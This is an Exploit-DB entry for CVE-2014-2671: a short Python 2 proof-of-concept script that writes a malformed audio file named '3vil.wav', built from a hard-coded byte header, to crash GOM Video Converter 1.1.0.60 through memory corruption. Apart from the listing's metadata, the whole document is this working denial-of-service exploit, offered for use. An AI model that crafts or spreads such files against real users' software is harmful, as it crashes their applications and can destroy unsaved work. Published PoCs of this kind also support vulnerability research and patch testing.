GOM Video Converter 1.1.0.60 - '.wav' Memory Corruption (PoC)

Author: TUNISIAN CYBER
type: dos
platform: windows
port: 
date_added: 2014-03-24  
date_updated: 2014-03-24  
verified: 1  
codes: CVE-2014-2671;OSVDB-95569  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt32500/screen-shot-2014-03-24-at-161707.png  
application_url: http://www.exploit-db.comGOMVIDEOCONVERTERSETUP_ENG.EXE  

raw file: 32483.py  

#!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: GOM Video Converter 1.1.0.60 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://converter.gomlab.com/
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R


print"###########################################################"
print"#  Title: GOMVC 1.1.0.60 Memory Corruption PoC             #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"


header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Done!\n"
file.close()